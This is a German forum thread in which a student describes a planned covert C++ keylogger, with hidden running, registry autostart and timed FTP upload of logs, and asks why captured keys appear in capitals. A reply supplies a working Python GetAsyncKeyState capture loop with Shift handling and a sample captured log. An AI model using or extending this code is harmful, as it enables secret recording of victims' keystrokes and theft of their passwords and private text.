OpenSource-KeyLogger mit C++

Hallo Leute,

ich habe vor kurzem angefangen einen Keylogger zu programmieren und ich möchte es bald als OpenSource-Projekt im Internet veröffentlichen.
Ich studiere Informatik und programmiere es aus Interesse und nicht um irgendwelche Leute zu ärgern, also nur zur Information, damit ihr es nicht falsch interpretiert.

Ich programmiere mit C++ und das Programm weist folgende Funktionalitäten auf:

  • Speichert alle Tastatureingaben des Benutzers in einer Logdatei
  • Lädt die Logdatei nach 10 Minuten auf einen FTP-Server
  • Läuft unsichtbar
  • Greift auf die Registry zu und erstellt einen Autostart-Eintrag
Aaaaaber :D Die Tastatureingaben werden alle als Großbuchstaben in der Logdatei gespeichert X(
Wieso ist das so?
Kann ich es anders machen?

Ich fange mit GetAsyncKeyState() ab. Liegt es vielleicht daran?

Hoffe ihr könnt mir weiterhelfen :)
Danke im Voraus

MfG
 
Zuletzt bearbeitet:
Mit GetAsyncKeyState() kann man das schon machen.
Dein Problem ist allerdings folgendes:
Eine normale Tastatur hat nunmal nur eine Variante von jedem Buchstaben. Und solange es nur eine Variante gibt, macht es auch keinen wirklichen Unterschied ob der Buchstabe nun groß oder klein ist. Wichtig ist herauszufinden ob die SHIFT- oder UMSCHALT-Taste aktiviert sind, beim Drücken des jeweiligen Buchstabens. ;)

Schau dafür am Besten mal in die MSDN:
http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx
http://msdn.microsoft.com/en-us/library/dd375731(v=VS.85).aspx
 

Erst einmal vielen Dank für die Antwort.

Die Seiten im MSDN habe ich mir bereits vorher angeschaut, aber leider nichts dazu gefunden (oder vielleicht überlesen), wie man es realisieren könnte, ob z.B. die SHIFT "Pressed" oder "Released" wurde.
In Java geht das ja ganz einfach :D Aber für C++ habe ich nichts dazu gefunden.
Hast du vielleicht eine Idee?
 
keystate = GetAsyncKeyState(VK_LSHIFT) funktioniert doch wunderbar ;)
hier ein PoC in Python (ja, kein C, allerdings sind die API Aufrufe die gleichen, sowie bitweise Operatoren und Behandlung von 0 bzw. nicht 0 als Booleanwerte. Lesbar sollte es allemal sein ;)):

Code:
from ctypes import *

kernel32 = windll.kernel32
user32 = windll.user32
VK_SHIFT = 0x10
VK_LSHIFT = 0xA0
VK_RSHIFT = 0xA1

while True:
    kernel32.Sleep(1)
    # log/print etc
    if user32.GetAsyncKeyState(VK_RSHIFT) or \
       user32.GetAsyncKeyState(VK_LSHIFT):
       shift = True
    else:
        shift = False

    # soll nur von Leerzeichen bis Z gehen,
    # verwendet kein VK_, da ich diese nicht manuell
    # importieren bzw. zusammensuche moechte
    # und die VK_ Codes hier groesstenteils uebereinstimmen sollten
    for i in range(ord(' '), ord('Z')):   
        keystate = user32.GetAsyncKeyState(i)
        """
        mehrfache Abfrage vermeiden, siehe MSDN:
        If the most significant bit is set, the key is down,
        and if the least significant bit is set,
        the key was pressed after the previous
        call to GetAsyncKeyState.
        """
        # wenn die Taste nicht gedrueckt wurde oder last significant
        # bit gesetzt ist, ueberspringen
        if not(keystate & 1):
            continue
        
        if shift:
            print chr(i).upper(),
        else:
            print chr(i).lower(),

Und hier mal das Log, welches im Hintergrund gerade erstellt wurde ;)
Code:
k e y s t a t e   0   G e t A s y n c K e y S t a t e 8 V K L S H I F T 9   f u n k t i o n i e r t   d o c h   w u n d e r b a r   9 h i e r   
e i n   P o C   i n   P y t h o n   8 j a   k e i n   C   a l l e d i n r d i n g s   s i n d   d i e   A P I   A u f r u f e   d i e   g l e i c h e n   s o w i e   b i t w e i s e   O p e r a t o r e n % % % % % % % % % % % % % % % % % % % % % % % % % %   ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' 9       
L e s b a r   s o l l t e   e s   a l l e m a l   s e i n a c 8 s p o i l e r 0 2 p y c o d e 9 2 9 8 8 c o d e 9 v 8 7 c o d e 9 8 7 s p o i l e r 9 W i c h t i g   s i n d   
h i e r   2   D i n g e     e i n m m a a l   d i e   S H I F T   A b f r a g e   s o w i e   d a n n   e i n   o r d e n t l i c e s U n d   i h i e r   m a l   d a s   L o g   w e l c h e s   i m   H i n t e r g r u n d   g e r a d e e   e r t e s t e l l t   w u r d e   9
Edit:
Wichtig ist eben, dass man beim Keystate den Status nicht nur "True/False" bekommt, sondern über gesetzte Bits noch zusätzliche dinge abfragen kann.
 
Lesbar ist es, habe auch Python Kenntnisse.
Ich werde es heute Abend ausprobieren :D
Hoffe es klappt :)

Aber was genau meinst du mit gesetzten Bits?
 
Zuletzt bearbeitet:
Eigentlich nur diesen Teil aus der MSDN ;)
http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx
Return Value

Type: SHORT
If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior; for more information, see the Remarks.
 
Wenn du schon Python benutzt kannst du es dir doch auch gleich einfach machen und die Funktion getch() aus dem Modul msvcrt nehmen. ;)
 
Ich glaube, getch() liest nur die Zeichen aus, die im eigenen Fenster eingegeben werden.
Also nicht wenn man z.b. was in den Firefox eintippt (ist zumindest in anderen Spachen so)
 
Zurück
Oben